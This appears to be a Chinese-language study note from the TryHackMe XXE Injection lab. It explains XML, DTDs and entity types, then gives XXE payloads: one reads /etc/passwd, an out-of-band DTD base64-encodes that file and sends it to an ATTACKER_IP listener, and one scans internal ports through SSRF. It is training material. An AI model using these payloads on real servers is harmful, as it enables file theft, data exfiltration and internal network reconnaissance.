tryhackme XXE Injection
XXE Injection
探索XML
-
XML 语法与结构(XML Syntax and Structure)
-
Web 应用中的常见用途
它常用于 Web 服务和 API(如 SOAP 和 REST),以实现系统间的数据交换。XML 也用于配置文件,例如 Web 服务器配置或应用设置。
- 什么是 XSLT
XSLT(可扩展样式表语言转换,Extensible Stylesheet Language Transformations)是一种用于转换和格式化 XML 文档的语言。虽然 XSLT 主要用于数据转换与格式化,但它与 XXE(XML 外部实体)攻击也有显著关联。
XSLT 可通过多种方式助长 XXE 攻击:
数据提取(Data Extraction):XSLT 可从 XML 文档中提取敏感数据,进而用于 XXE 攻击。例如,XSLT 样式表可以从 XML 文件中提取用户凭据或其他敏感信息。
实体展开(Entity Expansion):XSLT 可以展开 XML 文档中定义的实体,包括外部实体。这可能让攻击者注入恶意实体,从而导致 XXE 漏洞。
数据操纵(Data Manipulation):XSLT 可操纵 XML 文档中的数据,可能使攻击者注入恶意数据或修改现有数据,以利用 XXE 漏洞。
盲 XXE(Blind XXE):XSLT 可用于实施盲 XXE 攻击,即攻击者在看不到服务器响应的情况下注入恶意实体。
- 什么是 DTD
DTD(文档类型定义,Document Type Definitions)用于定义 XML 文档的结构与约束。它规定了允许的元素、属性,以及它们之间的关系。DTD 可以是 XML 文档内部的,也可以是单独文件中的外部 DTD。
- DTD 的用途
校验(Validation):DTD 在处理前校验 XML 的结构是否符合特定标准,这在数据完整性至关重要的环境中非常关键。
实体声明(Entity Declaration):DTD 定义可在整个 XML 文档中使用的实体,包括外部实体——而这正是 XXE 攻击的关键所在。
内部 DTD 通过 <!DOCTYPE 声明来指定,而外部 DTD 则通过 SYSTEM 关键字来引用。
纯结构的校验型DTD
<?xml version="1.0" encoding="UTF-8"?> <!-- XML 声明:版本 + 编码 -->
<!DOCTYPE config [ <!-- 内部 DTD 开始,根元素名为 config -->
<!ELEMENT config (database)> <!-- config 必须包含 database 子元素 -->
<!ELEMENT database (username, password)> <!-- database 必须按顺序含 username、password -->
<!ELEMENT username (#PCDATA)> <!-- username 内容为可解析字符数据 -->
<!ELEMENT password (#PCDATA)> <!-- password 内容为可解析字符数据 -->
]>
<config>
<!-- configuration data --> <!-- 实际配置数据(此处为注释占位) -->
</config>
- DTD 与 XXE
DTD 可以被用来声明外部实体(external entities)。外部实体能够引用外部文件或 URL,这就可能导致恶意数据或代码的注入。
- XML 实体(XML Entities)
XML 实体是可在 XML 文档内部被展开的数据或代码的占位符。实体共有五种类型:内部实体(internal entities)、外部实体(external entities)、参数实体(parameter entities)、通用实体(general entities)和字符实体(character entities)。
外部实体示例:
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY external SYSTEM "http://example.com/test.dtd">
<config>
&external;
</config>
- 实体类型(Types of Entities)
内部实体(Internal Entities)
<!DOCTYPE note [
<!ENTITY inf "This is a test.">
]>
<note>
<info>&inf;</info>
</note>
外部实体(External Entities)
<!DOCTYPE note [
<!ENTITY ext SYSTEM "http://example.com/external.dtd">
]>
<note>
<info>&ext;</info>
</note>
参数实体(Parameter Entities,% 开头)
用在 DTD 内部,且可以引用外部资源(<!ENTITY % xxe SYSTEM "http://attacker/">)
<!DOCTYPE note [
<!ENTITY % common "CDATA">
<!ELEMENT name (%common;)>
]>
<note>
<name>John Doe</name>
</note>
通用实体(General Entities)
参数实体 %xxx; → 用在 DTD 内部
通用实体 &xxx; → 用在文档内容里
<!DOCTYPE note [
<!ENTITY author "John Doe">
]>
<note>
<writer>&author;</writer>
</note>
字符实体(Character Entities)
< 表示小于号(<)
> 表示大于号(>)
& 表示和号(&)
XML解析机制
常见的 XML 解析器(Common XML Parsers)
DOM(文档对象模型)解析器
SAX(XML 简单 API)解析器
StAX(XML 流式 API)解析器
XPath 解析器
XXE 带内
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<contact>
<name>&xxe;</name>
<email>test@test.com</email>
<message>test</message>
</contact>
XML 实体展开(XML Entity Expansion)
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "This is a test message" >]>
<contact><name>&xxe; &xxe;
</name><email>test@test.com</email><message>test</message></contact>
XXE 带外
user@tryhack $ python3 -m http.server 1337
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://ATTACKER_IP:1337/" >]>
<upload><file>&xxe;</file></upload>
sample.dtd
<!ENTITY % cmd SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oobxxe "<!ENTITY exfil SYSTEM 'http://ATTACKER_IP:1337/?data=%cmd;'>">
%oobxxe;
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE upload SYSTEM "http://ATTACKER_IP:1337/sample.dtd">
<upload>
<file>&exfil;</file>
</upload>
SSRF + XXE
内网扫描(Internal Network Scanning)
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://localhost:§10§/" >
]>
<contact>
<name>&xxe;</name>
<email>test@test.com</email>
<message>test</message>
</contact>

浙公网安备 33010602011771号